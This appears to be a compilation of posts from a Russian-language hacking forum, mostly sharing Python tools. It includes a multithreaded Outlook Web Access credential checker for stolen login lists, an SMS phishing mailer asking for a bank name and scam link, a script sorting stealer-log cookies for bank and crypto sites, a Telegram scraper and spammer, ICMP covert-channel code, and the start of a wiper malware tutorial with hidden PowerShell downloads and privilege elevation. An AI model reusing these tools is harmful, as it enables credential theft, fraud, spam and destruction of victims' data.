This loop continues fetching participants until there are no more users to fetch:
- Request Participants: Sends a request to fetch participants using the
'GetParticipantsRequest'. We specify the 'entity',
'ChannelParticipantsRecent()' filter, 'offset_user', 'limit_user', and a hash
of '0'.
- Check for More Users: If no users are returned ('if not
participants.users:'), the loop breaks, indicating all users have been
fetched.
- Process Each User: Iterates through the list of users returned, extracts
their 'id', 'username', and 'access_hash', and appends this data to
'all_participants'.
- Update Offset: Updates 'offset_user' to ensure the next batch of users is
fetched correctly.
then at the end we return 'all_participants'
Running the Function
To execute the function and print the results, we define another asynchronous function 'main' and run it:
Python:Copy to clipboard
async def main():
participants = await get_group_participants(group_link)
for participant in participants:
print(participant)
client.loop.run_until_complete(main())
- Main Function: Calls 'get_group_participants' and prints each participant’s
details.
- Execute Main: 'client.loop.run_until_complete(main())' runs the 'main'
function until it completes, ensuring the async code is executed properly.
Handling Errors and Edge Cases
one of the important parts of any script is to handle error.
To make the script more robust, consider adding error handling and logging.
Here’s an example of how you could modify the script to handle potential
issues:
Python:Copy to clipboard
import logging
from telethon.errors import FloodWaitError, SessionPasswordNeededError
logging.basicConfig(level=logging.INFO)
async def get_group_participants(group_link):
async with client:
try:
await client.start()
except SessionPasswordNeededError:
logging.error("Two-factor authentication is enabled, please provide the password.")
return
try:
entity = await client.get_entity(group_link)
except Exception as e:
logging.error(f"Failed to get entity for {group_link}: {e}")
return
offset_user = 0
limit_user = 200
all_participants = []
while True:
try:
participants = await client(GetParticipantsRequest(entity, ChannelParticipantsRecent(), offset_user, limit_user, hash=0))
except FloodWaitError as e:
logging.warning(f"Rate limit exceeded, waiting for {e.seconds} seconds.")
await asyncio.sleep(e.seconds)
continue
except Exception as e:
logging.error(f"Failed to fetch participants: {e}")
break
if not participants.users:
break
for user in participants.users:
user_data = {'id': user.id,'username': user.username,'access_hash': user.access_hash}
all_participants.append(user_data)
offset_user += len(participants.users)
return all_participants
async def main():
participants = await get_group_participants(group_link)
if participants:
for participant in participants:
print(participant)client.loop.run_until_complete(main())
at the end, output will be something like this:
**
Summary:**
This script demonstrates how to use the Telethon library to fetch participants from a Telegram group. By following this guide, you should now understand how to:
- Set up the Telethon library and obtain your API credentials.
- Initialize the Telegram client.
- Define and run an asynchronous function to fetch group participants.
- Handle potential errors and implement logging for better debugging and
monitoring.
FULL SCRIPT WILL BE ATTACHED
Enjoy.
Интересен всегда был пайтон, т.к. на нем в основном пишутся всякие софты, боты и так далее)
- Убрал прокси
- Убрал некоторые проверки
Добавить это максимум минут 20, защита от индусов) Cпокойно работает и в 500 потоков, тестанул на 10к доступов - проблем не обнаружил. Собственно делалось это чисто интереса ради, тестил на мусоре. Если есть желание выкатить в паблик любой другой чекер - кидайте мусорные доступы, в свободное время сделаю
Принимает лог :
url;login;pass
Python:Copy to clipboard
import asyncio
from aiohttp import ClientSession
from typing import AsyncGenerator
from aiofiles import open as aopen
from bs4 import BeautifulSoup
from json import dumps
class OWACheck:
def __init__(self, threads: int = 100) -> None:
self.threads: int = threads
self.iter = self.__lazy_read()
self.locked: bool = False
self.locked2: bool = False
self.stat: dict = {
'good': 0,
'bad': 0,
'recheck': 0
}
async def save_res(self, where: str, what: str) -> None:
async with aopen(f'{where}.txt', 'a', encoding='utf-8') as rez:
await rez.write(f'{what}\n')
async def __lazy_read(self) -> AsyncGenerator[str, None]:
async with aopen('123.txt', 'r', encoding='utf-8') as lines:
async for line in lines:
yield line.strip()
async def __get_line(self) -> str:
while self.locked:
await asyncio.sleep(0.01)
try:
self.locked = True
return await self.iter.__anext__()
except Exception as e:
print(e)
return None
finally:
self.locked = False
def __parse_fields_data(self, page_html: str) -> dict:
data = {}
soup = BeautifulSoup(page_html, 'html.parser')
form = soup.find("form", {"name": "logonForm"})
if not form:
return data
for field in form.find_all('input', {'type': 'hidden'}):
data[field.get('name', '')] = field.get('value', '')
return data
def __check_resp(self, headers: dict) -> bool:
if 'auth/logon.aspx' in headers.get('Location', ''):
return False
if not str(headers.get('Location', '')).endswith('/owa'):
return False
if 'cadata' not in headers.get('Set-Cookie', ''):
return False
return True
async def __update_stat(self, what: str, data: str) -> None:
while self.locked2:
await asyncio.sleep(0.01)
try:
self.locked2 = True
self.stat[what] += 1
await self.save_res(what, data)
except Exception as e:
print('[!?] Error when update stat:', e)
finally:
self.locked2 = False
print('\033c'+dumps(self.stat, indent=4))
async def thread(self) -> None:
while True:
line = await self.__get_line()
if not line:
break
url, login, password = line.split(';', 2)
data = {
"username": login,
"password": password
}
defargs = {
'verify_ssl': False,
'allow_redirects': False,
'timeout': 20
}
try:
url, *shit = url.split('/owa/')
except Exception as e:
print('[!?] Something new:', url, '; err:', e)
return
async with ClientSession(base_url=url) as ses:
try:
async with ses.get('/owa/auth/logon.aspx', **defargs) as r:
if r.status != 200:
await self.__update_stat('recheck', line)
return
data.update(self.__parse_fields_data(await r.text()))
async with ses.post('/owa/auth.owa', data=data, **defargs) as r:
if r.status != 302:
await self.__update_stat('recheck', line)
return
if self.__check_resp(r.headers):
await self.__update_stat('good', line)
else:
await self.__update_stat('bad', line)
except Exception:
await self.__update_stat('recheck', line)
finally:
await ses.close()
async def run_threads(self) -> None:
threads = []
for i in range(self.threads):
threads.append(asyncio.ensure_future(self.thread()))
await asyncio.gather(*threads)
async def main() -> None:
checker = OWACheck()
await checker.run_threads()
if __name__ == '__main__':
asyncio.run(main())
Designed to forward data from telegram private and public channels.
(any file and format).
Pass:
You must have at least 20 reaction(s) to view the content.
Для русскоговорящих :
Привет, я начал разрабатывать проект чекера криптовалюты, входные данные: .txt
файл с seed фразами. Я сделал получение адреса для ETH, Arbitrum, Polygon, но
я столкнулся с проблемой при получении Private key и Public Key из seed фразы
для сети Tron... Я не сильно разбираюсь в Python, поэтому решил спросить
знающих и понимающих людей. Задача на которой я застрял - получение Приватного
ключа, публичного ключа и публичного адреса сети Tron имея во входных данных
только мнемоническую фразу (пока что задал одну). Какие есть предложения
друзья мои? Что можете посоветовать?
Вы можете написать мне в TG: by_tehnar
Jabber: bytehnar@jabber.ru
А можете и тут
Буду рад любой помощи! Спасибо <3
---------
For English-speakers :
Hi, I started to develop a cryptocurrency checker project, input data: .txt
file with seed phrases. I have done getting address for ETH, Arbitrum,
Polygon, but I am facing a problem while getting Private key and Public Key
from seed phrase for Tron network... I don't know much about Python, so I
decided to ask knowledgeable and understanding people. The problem I'm stuck
on is getting the Private Key, Public Key and Public Address for the Tron
network with only a mnemonic phrase as input (I've set one so far). Any
suggestions my friends? What can you recommend?
You can write to me at TG: by_tehnar
Jabber: bytehnar@jabber.ru
Or you can also here
I will be glad to help you in any way! Thanks <3
Авторство: germans
Источник: xss.is
Статья ориентирована на новичков в Python, а может быть и нет.
Как понять, что такое чекер?!..- Зайдя в интернет, я понял, что там нет того
значения слова, о котором я хочу рассказать вам сегодня. Чекеры - скрипт,
проверяющий входящие данные, с целью узнать, что же там с этими самыми
данными?..-
Обычно, имеют в виду чекер login:password - на валидность(рабочий аккаунт или
нет), но нет, не стоит ограничиваться лишь этим, это не предел. Чекеры могут
работать как на запросах(requests), так и на симуляции(playwright,selenium).
Основная масса делается конечно же на запросах, в чём её преимущества над
эмуляцией? Вот в чём:
- Скорость, и еще раз скорость, представьте один браузер, который ели-ели
запускается и вынужден еще ручками вписывать данные, представили? А теперь
представьте один верно составленный запрос, по которому ты клацнул, и хоп, у
тебя уже все данные есть.
- Не зависит от сайта. Меня конечно могут начать сейчас душить, а вдруг
компания проведет какие-либо поправки в запросах, апи?..- Честно, я ни разу не
сталкивался с таким, а вот сайт же, изменив совсем немного свой дизайн(в
случае поиска где требуются вводить данные по Xpath), у нас всё пойдет по
одному не очень культурному месту..
- Нагрузка на ОС, это еще очень важный критерий, ведь проверять в 1 потоке
браузера - 1 млн. данных, такое себе увлечение, думаю все согласны? Вы
скажете, а может мы просто поставим 10000 потоков браузера?!!..- Нет, и еще
раз нет. Машина на 32 ядрах вместе с 32гб RAM не вывезла даже и 100
браузеров.. В запросах же нагрузка конечно тоже есть, но не такая чтобы она
отбивала все железки компьютера.
В каких случаях тогда нужно использовать эмуляцию? В случае тяжелой защиты сайта, такое было у меня на практике один раз относительно недавно. Сайт имел защиту cloudflare..- Люди, слышавшие про такую защиту и про Python, скажут: "Почему ты не использовал библиотеку cloudscrape?", она вымерла, подавно вымерла. В Cloudflare тоже сидят не дурачки и всё это отслеживают, сейчас же эта защита(по моему субъективному мнению) обходится лишь двумя способами первый - это использованием undetected-browser в связке с хорошими прокси, а так же нужно открывать тот самый сайт с защитой не сразу же как мы запустили эмулятор, а через js скрипт, чтобы CF не считал его сайт целевым. Второй способ - заключается в сниффинге трафика с мобильного приложения сайта, там может быть другое апи и запросы, проверено на примере - Alibaba.
Я думаю на сегодня хватит с теорией и стоит переходить к практике, предлагаю вам написать вместе со мной простенький чекер трек-кодов UPS. Не запускаем первым делом IDE, давайте вообще посмотрим с чем нам предстоит работать. Переходим по ссылке (привязана) и смотрим, что у нас происходит. Какая либо сторонняя защита на сайте отсутствует, а именно Cloudflare, это будем честны, очень сильно облегчает нам работу. Нам сразу же предлагают ввести трек-код, как это мило с их души, прямо подают нам всё на золотом блюдечке, не так ли?
Spoiler: Скриншот главной страницы
Писать всё это дело мы будем на запросах. Давайте откроем инструменты разработчика и выберем там Network либо же сеть на русском. Требуется включить сохранение журнала, чтобы в случае редиректа нас на другую страницу мы видели все запросы(без этого дела, данные будут пропадать).
Spoiler: Скриншот инструменты разработчика
Теперь нам предстоит посмотреть, что же такого происходит если мы хотим узнать данные о нашей посылке. Заполняем поле треком и нажимаем трек, думаю тут ничего сложного..- Бум, по нажатию кнопки, у нас сразу происходит куча всяких действий и прочей лабуды, но нам то нужен только один единственный запрос, который расскажет нам всё о нашей посылочке.
Spoiler: Запись действий
Теперь нам стоит найти нужный нам запрос, вы скажете так много спама и прочего мусора, как искать то? Стоит знать и помнить, что запросы, когда мы отправляем данные на сервер - это POST запрос, а когда мы просто хотим получить данные c cервера- это GET запрос. Компании не идиоты(наверное), и не будут называть все скрипты как я, зачастую это выглядит будто я уронил стакан на клавиатуру. Нам нужен запрос, который отвечает за статус нашей посылки, чисто логически можем понять, что и название запроса должно содержать в себе Status, но как мы видим на скриншоте выше в спойлере, то у нас два действия в записи, которые содержат в себе Status, но чуть правее мы видим ответ 204(успешный запрос, но без ответа) и что это такое, нет, нам не нужен запрос, который вернул пустые данные. Смотрим еще чуть ниже и видим второй, и видим 200 ответ, то есть ответ есть, и это POST запрос на https://webapis.ups.com/track/api/Track/GetStatus?loc=en_CA ; Бамц, вот мы и нашли наш запрос, теперь ознакомимся с Header's
Spoiler: Хедеры запроса
Куча циферок и неких данных, но не стоит пугаться этим набором символов, нас должен пугать лишь X-Xsrf-Token и где его доставать. Второе - это как выглядит тело запроса
Spoiler: Тело запроса
Тут уже нет никаких проблем, теперь мы со спокойной душой можем открывать IDE после того как мы проанализировали сайт.
Как писать код, раз мы решили делать все через запросы, то мы можем использовать стандартную библиотеку requests или же asyncio-http (для асинхронной работы), я буду использовать requests. Давайте для начала создадим код, который будет отправлять запрос, а мы будем получать данные пришла посылка или нет. Не стоит нам забывать и про XSRF-TOKEN, про который я говорил ранее, где же нам его получать? Нам стоить проверить cookie-файлы нашей сессии на сайте UPS.
Spoiler: Куки
Такие данные могут храниться как в куках сайта, так и в самом html-коде сайта(microsoft отличный тому пример). Теперь нам остается получить этот самый X-XSRF-TOKEN и отправить запрос, мы думаем..- Но, не так уж всё и легко просто, вспоминаем так же про наличие cookies в Хедере нашего запроса, то есть мы вынуждены делать это всё в некой сессии, где будут сохраняться наши кукисы. Это не проблема, requests имеет возможность создавать сессию. Всё! Теперь точно всё, мы изучили сайт и понимаем что нам и откуда доставать и как, переходим к написанию кода.
Я приложу сразу весь рабочий код, и приложу в нём комментарии, проведем некое такое объяснение кода.
Spoiler: код
Python:Copy to clipboard
import requests # Импортирование нужных нам библиотек, requests - для работы с запросами, json - для работы с json-словарями
import json
url = "https://webapis.ups.com/track/api/Track/GetStatus?loc=en_US" # Задаем линк куда мы будем слать запрос
with open("track_code.txt", "r") as file: # Открываем все наши трек-коды из текстового документа track_code.txt в виде массива
tracking_numbers = [line.strip() for line in file]
session = requests.Session() # Создаем сессию, в которой будут сохраняться кукисы и остальные данные
headers = {
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
} # Хедеры для андетекта, что мы простой юзер сети интернета
initial_response = session.get('https://www.ups.com/track', headers=headers) # Гет запрос, получаем данные с этой страницы с целью получения кукисов
x = initial_response.cookies.get_dict() # Сохраняем кукисы в виде словарика ключ-значение
token = x['X-XSRF-TOKEN-ST'] # Получаем нужный нам XSRF токен
for tracking_number in tracking_numbers: # перебор всех трек-кодов из текстового документа, который мы загрузили в виде массива
payload = json.dumps({
"Locale": "en_US",
"TrackingNumber": [tracking_number]
}) # Грузим нашу дату, чтобы сайт понимал какой трек мы проверяем
headersfortrack = {
'authority': 'webapis.ups.com',
'method': 'POST',
'path': '/track/api/Track/GetStatus?loc=en_US',
'scheme': 'https',
'Accept': 'application/json, text/plain, */*',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'ru,en;q=0.9',
'Cache-Control': 'no-cache',
'Content-Length': '107',
'Content-Type': 'application/json',
'Origin': 'https://www.ups.com',
'Pragma': 'no-cache',
'Sec-Ch-Ua': '"Chromium";v="116", "Not)A;Brand";v="24", "YaBrowser";v="23"',
'Sec-Ch-Ua-Mobile': '?0',
'Sec-Ch-Ua-Platform': '"Windows"',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-site',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.686 YaBrowser/23.9.5.686 Yowser/2.5 Safari/537.36',
'X-Xsrf-Token': f'{token}'
} #Заполняем хедеры, cookies сами подтянутся при запросе, XSRF токен так же не забываем указать
try: # Блок try-except с целью ловить ошибки, и если на 1 треке случилась ошибка, то он не прекращал работу
response = session.post(url, headers=headersfortrack, data=payload) # делаем пост запрос на апи сайта, указываем наши хедеры через headers = *, и аналогично data
response_json = json.loads(response.text) # грузим ответ от апи в виде json
package_status = response_json.get("trackDetails", [])[0].get("packageStatus", "") # получаем статус нашей посылки
file_name = f"{package_status.replace(' ', '_')}.txt" # задаем имя текстовому документу в котором сохраняем результаты посылок
with open(file_name, "a") as status_file: # открываем тхт документ, стоит 'a' с целью чтобы он добавлял текстовые данные, сам документ создастся сам
status_file.write(tracking_number + "\n") # записываем наши данные
except Exception as e: # в случае любой ошибки Exception(отвечает за именно любую ошибку) выводим её
print("Ошибка:", e)
Код на этом заканчивается, можно по желанию прикрутить мультипоток, использование прокси. По окончанию работы сохранился текстовый документ Delivered.txt
Spoiler: Результат
Внутри нашего документа лежат треки, которые были доставлены.
Спасибо всем прочитавшим эту статью, но я не пока еще не особо понял что интересно контингенту сия форума. Пишите ваши пожелания на следующие статьи, и вопросы.
Изучаю python, пишите простые задния, постарсюсь выполнить
Также буду рад любой помощи в обучении
Вот такой софт сделал.
1)Собирает пользователей
Spoiler: Scraping.py
Python:Copy to clipboard
from typing import Union
from pyrogram import Client
class Pars:
def __init__(self, api_id: str, api_hash: str, chat_id: Union[int, str]):
self.api_id = api_id
self.api_hash = api_hash
self.chat_id = chat_id
async def pars_user(self):
user_list = []
app = Client("account", self.api_id, self.api_hash)
try:
async with app:
async for member in app.get_chat_members(self.chat_id):
if member.user.username is None:
pass
else:
user_list.append(member.user.username)
except Exception as e:
print(f"Parse error: {e}")
return user_list
2)Спамит пользователей с определенным сообщением.
Spoiler: Spam.py
Python:Copy to clipboard
from pyrogram import Client
class Spam:
def __init__(self, api_id: str, api_hash: str, user_name: str):
self.api_id = api_id
self.api_hash = api_hash
self.user_name = user_name
async def pars_user(self, message: str):
app = Client("my_account", self.api_id, self.api_hash)
try:
async with app:
await app.send_message(self.user_name, f"{message}")
except Exception as e:
print(f"Parse error: {e}")
3)Главный файл для запуска
Spoiler: Main.py
Code:Copy to clipboard
import asyncio
import time
from parsing import Pars
from spam import Spam
API_ID = 'api id'
API_HASH = 'api hash'
GROUP = 'group'
MESSAGE = 'Hi!'
async def main():
user = await Pars(API_ID, API_HASH, GROUP).pars_user()
for spam_user in user:
await Spam(API_ID, API_HASH, spam_user).pars_user(MESSAGE)
time.sleep(180)
loop = asyncio.get_event_loop()
w = loop.run_until_complete(main())
Если вам нужен парсер, или спамер, или еще какой-то софт который можно реализовать на пайтоне, пишите в тг, обсудим -ТГ
Однажды мне задали вопрос: какие поля IP-пакета можно использовать для стегано? Я не знал и лишь пожал плечами. Но вскоре я всё же решил изучить этот вопрос. Под катом вас ждёт изучение заголовков IP-пакетов, собственная утилита ping на Python и несколько способов передать данные, не привлекая внимания.
Содержание
Структура IPv4-пакета
Выделим поля, изменение которых не сильно повлияет на пакет:
IHL может изменяться от 5 до 15.
Поле ToS используется для приоритизации трафика и уведомлениях о заторах
без отбрасывания пакетов. Чаще всего это поле 0. Теоретически можно
использовать для передачи целого байта информации.
Длина пакета прекрасное поле для передачи чисел от 20 до 65535.
TTL может передавать до 7 бит информации. Необходимо знать количество
хопов до принимающего и учитывать это.
Настройка окружения
Для повторения эксперимента потребуются две машины с Python и фреймворком
scapy.
Установить оный можно следуя инструкции из документации. В моём случае это были два дроплета на DO со включенной локальной сетью. Для проверки работоспособности стегано были выбраны два маршрута: через локальную сеть за 1 хоп и через интернет за 2 хопа.
Ping: Легкий вариант
Сначала реализуем sender.py, который будет отправлять ICMP пакеты без скрытых
сообщений.
Python:Copy to clipboard
from scapy.all import *
# Создаём пакет для 10.0.0.2 с icmp-type 8 (echo-request)
pkt = IP(src="10.0.0.1", dst="10.0.0.2") / ICMP(type = 8)
# Отправляем пакет и ждём ответа
sr1(pkt)
Scapy перед отправкой заполнит остальные поля значениями по умолчанию и подсчитает контрольную сумму.
На стороне принимающего напишем listener.py, который будет прослушивать и выводить на экран все приходящие ICMP-пакеты.
Python:Copy to clipboard
from scapy.all import *
# Настраиваем прослушивание пакетов
# filter -- только icmp
# timeout -- слушаем только 10 секунд
# count -- ждём не больше 100 пакетов
# iface -- только на интерфейсе eth1
packets = sniff(filter = "icmp", timeout = 10, count = 100, iface = "eth1")
# Итерируемся по всем полученным пакетам
for pkt in packets:
# Нас интересуют только пришедшие echo-request
if pkt[ICMP].type != 8:
continue
# Просим красиво напечатать
pkt.show()
Примерный вывод слушателя
Code:Copy to clipboard
###[ Ethernet ]###
dst = hh:hh:hh:hh:hh:hh
src = gg:gg:gg:gg:gg:gg
type = 0x800
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 28
id = 24923
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0x4364
src = 10.0.0.1
dst = 10.0.0.2
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0xf7ff
id = 0x0
seq = 0x0
###[ Padding ]###
load = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
В заголовке IP-пакета есть поле «идентификатор». Заполним его символами «A» и «B»:
Python:Copy to clipboard
payload = ord("A") * 0x100 + ord("B")
pkt = IP(src="10.0.0.1", dst="10.0.0.2", id = payload) / ICMP(type = 8)
Более того, в заголовке ICMP есть точно такое же поле, в которое так же можно загрузить два байта.
Изменим слушателя для вывода на экран полученных данных:
Python:Copy to clipboard
from scapy.all import *
import sys
packets = sniff(filter="icmp", timeout = 10, count = 100, iface="eth0")
for pkt in packets:
if pkt[ICMP].type != 8:
continue
# Разделяем два символа
a, b = divmod(pkt[IP].id, 0x100)
sys.stdout.write(chr(a))
sys.stdout.write(chr(b))
sys.stdout.flush()
По образу и подобию можно заполнить практически любое поле, отмеченное ранее как пригодное для стегано.
Ping: Сложный вариант
Передача данных из предыдущего пункта была не самая очевидная, но мы можем сделать ещё более неочевидной. Можно спрятать данные в поле для контрольной суммы. Согласно RFC1071 контрольная сумма является (внезапно!) побитовой инверсией чуть более сложной арифметической суммы.
Допустим, у нас есть заголовок, для которого мы хотим вычислить контрольную сумму. На время расчётов поле checksum обнуляется.
Code:Copy to clipboard
4500 003c 000a 0000 8001 [checksum] c0a8 000d c0a8 000d
1. Складываем все 16-битные слова, запоминая перенос из старшего разряда:
Code:Copy to clipboard
4500 + 003c + 000a + 0000 + 8001 + [checksum=0000] + c0a8 + 000d + c0a8 + 000e =
= (2) 46b2
2. Складываем результат с переносами:
Code:Copy to clipboard
46b2 + 2 = 46b4
3. Инвертируем:
Code:Copy to clipboard
~(46b4) = b94b
b94b — искомая нами контрольная сумма. Для проверки можно подставить в заголовок и выполнить пункты 1 и 2. Если получится FFFF, то сумма найдена верна.
Проверка:
Code:Copy to clipboard
1. 4500 + 003c + 000a + 0000 + 8001 + [checksum=b94b] + c0a8 + 000d + c0a8 + 000e =
= (2) FFFD
2. FFFD + 2 = FFFF
Нам известно, что контрольная сумма пакета изменяется при прохождении узлов в сети, так как изменяется TTL. Так же при прохождении NAT в пакете подменяется «адрес источника», что так же влияет на контрольную сумму. И на сколько уменьшится TTL при достижении нашего слушателя… Вишенкой на торте является то, что разрядность «идентификатора» совпадает с разрядностью контрольной суммы. Этот факт позволяет нам влиять на контрольную сумму и изменять её на любое значение из области определения. Так как контрольная сумма (полезная нагрузка) будет подсчитана только при прохождении последнего узла в маршруте, важно при расчётах учесть всё, что может быть изменено в пакете за время прохождения маршрута.
Алгоритм нахождения «идентификатора», который даст нам желаемую контрольную сумму:
Напишем функцию, которая по количеству хопов, айпишникам за NAT'ом и двум байтам полезной нагрузки сформирует пакет.
Code:Copy to clipboard
# src - адрес отправителя
# src_nat - адрес отправителя за NAT
# dst - адрес получателя
# dttl - количество узлов на пути в получателю
# a, b -- по одному байту полезной информации
def send_stegano(src, src_nat, dst, dttl, a, b):
# Формируем полезную нагрузку из двух байт
payload = ord(a)*0x100 + ord(b)
# Создаём состояние пакета при прохождении последнего узла маршрута
pkt = IP(dst=dst, src=src_nat, ttl=64-dttl, id = payload) / ICMP(type=8)
# Заставляем Scapy вычислить chksum
pkt = IP(raw(pkt))
# Готовим пакет к отправке
pkt[IP].src = src
pkt[IP].ttl = 64
pkt[IP].id = pkt[IP].chksum
# Стираем поле chksum, чтобы Scapy перерасчитал его
del pkt[IP].chksum
# Scapy вновь вычисляет все контрольные суммы
pkt = IP(raw(pkt))
# Отправляем пакет и ждём ответ
sr1(pkt)
автор @Firemoon
взял с хабра
"Not My Personal Tool"
Python:Copy to clipboard
import smtplib,ssl
import json
#lfuaytabwtlqxzka
print("""
Meow :)
Telegram :- @NakedPoets
Jabber :- hellow0rld@exploit.im
""")
print("WELCOME TO SMTP TO SMS TOOL")
print("")
print("This too is used to send messages to sms using smtp")
print("It uses the gateway system provide my sim carrier")
print("plese convert your number leads before use")
print("")
print("")
#code to collect smtp details
smtp_server = input("Enter Smtp server: ")
port = int(input("Enter Smtp port: "))
smtp_user= input("Enter Smtp user {sometimes same as sender email}: ")
sender_email = input("Enter Sender email: ")
password = input("Type smtp password: ")
print("")
print("")
bank=input("Name of bank: ")
text_message=input("THe message to send dont add link: ")
link=input("Link to scama: ")
#code to collect list file
print("")
print("")
print("Now enter leads file")
filename=input("Enter file name: ")
print("")
print("")
file = open(filename, 'r')
lines = file.readlines()
for index,line in enumerate(lines):
receiver_email=("{}".format( line.strip()))
message = f"""\
Subject: {bank}
{text_message} {link}."""
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server, port)
server.ehlo() # Can be omitted
server.starttls(context=context)
server.ehlo() # Can be omitted
server.login(sender_email, password)
server.sendmail(sender_email,receiver_email,message)
print (receiver_email + " -- Sent")
except Exception as ex:
print (receiver_email+ " -- Not Sent",ex)
print("")
input("DONE")
Paste script in Logs Finder and run the script in cmd - and you can add more domains.com in "Requests = ["
Python:Copy to clipboard
import os
import shutil
class LogChecker:
default_dir = str(os.path.abspath(os.getcwd()))
main_dir_check = False
wallet_destination_dir = ""
Requests = ["bitmain","binance","kraken","robinhood","antpool","coinbase","antmain","nicehash","go2bank","chase.com"
,"etrade.com","moneylion.com","bluebird.com","sofi.com",".public.com","pool.bitcoin","f2pool","eobot.com","schwab.com","wellsfargo","etoro","btc.com"
,"slushpool.com","viabtc.com","iqmining.com","btc.top","blockchain","bitmex","coinmama","poloniex.com","acorns.com"]
Request_Find = False
Request_name = ""
def __main__(self):
self.log_run()
def log_run(self):
self.main_dir_check_method()
for dir in os.listdir():
if os.path.isdir(dir):
os.chdir(dir)
for cookie_dir_find in os.listdir():
if str(cookie_dir_find) == "Cookies":
self.cookie_check_method(cookie_dir_find)
if self.Request_Find == True:
self.wallet_path_create()
shutil.copytree(str(os.path.abspath(os.getcwd())),
f"{self.wallet_destination_dir}/{str(os.path.basename(os.getcwd()))}")
self.Request_Find = False
self.Request_name = ""
os.chdir(self.default_dir)
def main_dir_check_method(self):
if self.main_dir_check == False:
current_dir = str(os.path.abspath(os.getcwd()))
os.chdir(self.default_dir)
for dir in os.listdir():
if str(dir) == ("То шо нужно"):
shutil.rmtree("То шо нужно")
os.mkdir("То шо нужно")
os.chdir(current_dir)
self.main_dir_check = True
def cookie_check_method(self, wallet_dir):
current_dir = str(os.path.abspath(os.getcwd()))
os.chdir(wallet_dir)
for cookie in os.listdir():
CoockieTxt = open(os.path.abspath(cookie), encoding="utf8", errors='ignore').read().split('\n')
for line in CoockieTxt:
for Request in self.Requests:
if Request in line:
self.Request_Find = True
if Request not in self.Request_name:
self.Request_name += f"{Request}_"
os.chdir(current_dir)
def wallet_path_create(self):
current_dir = str(os.path.abspath(os.getcwd()))
separate_dir_found = False
os.chdir(str(self.default_dir))
os.chdir("То шо нужно")
for separate_der in os.listdir():
if str(separate_der) == str(f"{self.Request_name}"):
separate_dir_found = True
if separate_dir_found == True:
os.chdir(f"{self.Request_name}")
else:
os.mkdir(f"{self.Request_name}")
os.chdir(f"{self.Request_name}")
self.wallet_destination_dir = str(os.path.abspath(os.getcwd()))
os.chdir(current_dir)
print("Start")
Checks = LogChecker()
Checks.log_run()
print("End")
Всем привет, простая реализация uac bypass
Реализовал по такойже схеме на расте, думаю не составит труда переписать на другой язык.
In this article, I’ll describe how to write a malware, Please notice this is not a “true” malware this is only has to show you the basics and even how easy to be written, Probably python is not the best choice at all, It’s an interpreted language and so it needs an interpreter to be executed so to write a malware probably other languages that can work to a lower level and that can be compiled are probably a better choice, malware is often designed to be small, stealthy, have low memory footprint, and use limited processing power, So it’s very common to see malware written in C & Assembly.
Overview
At first, I will show its code then I will describe generally how this malware works, code consisted of two components: we are talking only about windows, The techniques you gone see in this malware are taken from a public malware samples, Notice that it is not “true” malware It was simply something I consider trying after reading an article on the infemous Shamoon Wiper know as Disttrack, So why not writing a simple Python wiper. you can contribute to this Project and make it more advanced Here the source code
First of all we includes a few essential libraries
Code:Copy to clipboard
import os
import sys
import random
import requests
import subprocess
import ctypes
from ctypes import wintypes
import psutil
import win32api
requests.packages.urllib3.disable_warnings() # Disable ssl Warning
startupinfo = subprocess.STARTUPINFO() #type: ignore
drives = win32api.GetLogicalDriveStrings()
kernel32 = ctypes.WinDLL('kernel32') # https://stackoverflow.com/questions/17033733/
It seems to be self explanatory
Python:Copy to clipboard
def RunPwsh(code):
p = subprocess.run(['powershell', code], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.stdout.decode()
it checks if it has Administrator privileges, if it doesn’t it runs
RunAsAdmin
using the ShellExecute trick runas
to elevate privileges, and
exits immediately
Python:Copy to clipboard
def IsAdmin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
Re-run the program with admin rights
Python:Copy to clipboard
def RunAsAdmin():
ctypes.windll.shell32.IsUserAnAdmin() or (ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) > 32, sys.exit())
def Is64Bit():
return platform.machine().endswith('64')
it just check if the current process is a 64-bit using platform
lib this
function it’s gone be called later in InstallPy
to determine which version
of python should be installed, a simple if statement.
Python:Copy to clipboard
os_p = 64
if not Is64Bit():
os_p = 32
IsOnline
This function simply checks if the infected computer is online
using the “request” lib to get an HTTP response If TRUE, pass if not, the
program will delete it itself why? Desperate ways to avoid analysis.
Python:Copy to clipboard
def IsOnline():
try:
x = requests.get('https://google.com', verify=False)
return True
except:
return False
IsPyExist Here am using os.path.exists to see if python path exist in infected computer this can be done also by using subprocess to execute powershell cmd to check the version of python this way we can tell if python is present on the infected computer or not.
Python:Copy to clipboard
p = subprocess.run(['powershell',
"""$p = &{python -V} 2>&1;$version = if($p -is [System.Management.Automation.ErrorRecord]){$p.Exception.Message}; $p"""],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, startupinfo=startupinfo)
p.stdout.decode()
return True
for num in range(10, 45):
if os.path.exists(f"C:/Users/{os.getlogin()}/Appdata/Local/Programs/Python/Python{num}/python.exe"):
return True
return False
InstallPy The goal of this function is to install Python on the infected machine. The idea is that we are installing our interpreter using a language that is already built into Windows.
Python:Copy to clipboard
def InstallPy():
os_p = 64
if not Is64Bit():
os_p = 32
rand_py = f'python{random.randrange(111, 9999999)}.exe'
url = "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe" if os_p == 64 else "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe"
subprocess.run(
f"""powershell -ep Bypass -WindowStyle Hidden -Command "iwr -Uri {url} -OutFile c:/users/$env:username/appdata/local/temp/{rand_py}" """)
if os.path.exists(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}"):
subprocess.run(
